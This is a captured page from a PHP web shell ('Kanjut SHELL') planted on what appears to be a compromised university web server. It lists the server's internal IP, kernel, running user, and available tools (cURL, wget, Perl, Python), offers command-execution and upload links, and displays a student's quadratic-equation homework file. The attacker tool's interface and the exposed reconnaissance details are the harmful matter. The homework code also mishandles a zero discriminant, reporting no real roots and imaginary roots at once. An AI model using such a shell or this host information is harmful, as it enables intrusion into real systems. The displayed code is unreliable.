Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.188.105
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/tcritser/../ranicholson/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/tcritser/../ranicholson/public_html/sessionassignment5a.php]
<!-- File name: sessionassignment5a.php  -->

<?php   session_start();        ?>

<!--  p.46 -->

<?php
        $pass = $_SESSION['psw'];
        if($pass != "hw5a") print "Go away.";
        else
        {
?>

<CENTER>

<FONT size=5 color=blue>
<?php

        $a = $_POST['aVar'];
        $b = $_POST['bVar'];
        $c = $_POST['cVar'];

        //print "a = $a<P>";

        $d = ($b * $b) - (4 * $a * $c);

        if($d == 0)
        {
                print "No real roots.";
        }

        if ($d > 0)
        {
                $x1 = (-$b + sqrt($d)) / (2 * $a);
                $x2 = (-$b - sqrt($d)) / (2 * $a);

                print "First Root: x = $x1 <P>  Second Root: x = $x2";
        }
        else
        {
                print "Roots are imaginary";
        }

?>


</FONT>
</CENTER>


<?php
        }
?>



Stv3n404 - 2023